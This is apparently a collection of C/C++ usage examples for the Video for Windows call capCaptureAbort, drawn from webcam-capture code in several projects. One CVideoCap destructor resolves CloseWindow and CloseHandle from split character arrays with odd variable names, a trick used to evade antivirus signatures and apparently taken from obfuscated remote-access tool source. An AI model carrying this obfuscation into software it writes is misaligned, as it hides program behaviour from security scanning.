/* 开始捕获预览视频 */
void CMainFrame::OnVfwPreviewvideo()
{
// TODO: 在此添加命令处理程序代码
CAPTUREPARMS CapParms;
bPreview =! bPreview;
if(bPreview){
capCaptureGetSetup(m_hWndCap,&CapParms,sizeof(CAPTUREPARMS));
CapParms.dwIndexSize=324000;
CapParms.fMakeUserHitOKToCapture=!CapParms.fMCIControl;
CapParms.wPercentDropForError=100;
CapParms.wNumVideoRequested=5;
CapParms.wChunkGranularity=0;
CapParms.fYield=TRUE;
CapParms.fCaptureAudio=FALSE;
CapParms.vKeyAbort=0;
CapParms.fAbortLeftMouse=CapParms.fAbortRightMouse=FALSE;
CapParms.dwRequestMicroSecPerFrame=1000000/25;
capSetCallbackOnYield(m_hWndCap,NULL);
capCaptureSetSetup(m_hWndCap,&CapParms,sizeof(CAPTUREPARMS));
capCaptureSequenceNoFile(m_hWndCap);
m_vfwState = PREVIEW;
}else{
capCaptureAbort(m_hWndCap);
}
}
void CMainFrame::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
capCaptureAbort(m_hWndCap);
capDriverDisconnect(m_hWndCap);
Sleep(100);
capSetCallbackOnError(m_hWndCap,NULL);
capSetCallbackOnStatus(m_hWndCap,NULL);
capSetCallbackOnVideoStream(m_hWndCap,NULL);
delete lpbiIn;
delete lpbiTmp;
delete lpbiOut;
if (m_vfwState==ENCDEC){
ICDecompressEnd(hic2);
ICClose(hic2);
ICSeqCompressFrameEnd(&pc);
ICCompressEnd(hic1);
ICClose(hic1);
AVIStreamClose(ps);
if(m_pFile != NULL)
AVIFileRelease(m_pFile);
}
enc_stop();
dec_stop();
Sleep(100);
CFrameWnd::OnClose();
}
CVideoCap::~CVideoCap()
{
if (m_bIsConnected)
{
capCaptureAbort(m_hWndCap);
capDriverDisconnect(m_hWndCap);
if (m_lpbmi)
delete m_lpbmi;
if (m_lpDIB)
delete m_lpDIB;
m_bIsConnected = false;
}
capSetCallbackOnError(m_hWndCap, NULL);
capSetCallbackOnFrame(m_hWndCap, NULL);
char CtxPW61[] = {'C','l','o','s','e','W','i','n','d','o','w','\0'};
CloseWindowT pCloseWindow=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW61);
pCloseWindow(m_hWnd);
pCloseWindow(m_hWndCap);
char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29);
pCloseHandle(m_hCaptureEvent);
}
static int vfw_stop (zbar_video_t *vdo)
{
video_state_t *state = vdo->state;
if(!capCaptureAbort(state->hwnd))
return(err_capture(vdo, SEV_ERROR, ZBAR_ERR_INVALID, __func__,
"stopping video stream"));
_zbar_mutex_lock(&vdo->qlock);
if(state->image)
state->image = NULL;
SetEvent(state->captured);
_zbar_mutex_unlock(&vdo->qlock);
return(0);
}
CVideoCap::~CVideoCap()
{
if (m_bIsConnected)
{
capCaptureAbort(m_hWndCap);
capDriverDisconnect(m_hWndCap);
if (m_lpbmi)
delete m_lpbmi;
if (m_lpDIB)
delete m_lpDIB;
m_bIsConnected = false;
}
capSetCallbackOnError(m_hWndCap, NULL);
capSetCallbackOnFrame(m_hWndCap, NULL);
CloseWindow(m_hWnd);
CloseWindow(m_hWndCap);
CloseHandle(m_hCaptureEvent);
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------------
//카메라를 종료하는 함수.
void CWebCam::StopCam()
{
capCaptureAbort(m_hCam); //캡처동작 중지.
capDriverDisconnect(m_hCam); //카메라와 캡처윈도우 사이의 연결을 끊는 메시지를 발생시킨다.
m_hCam = NULL;
}
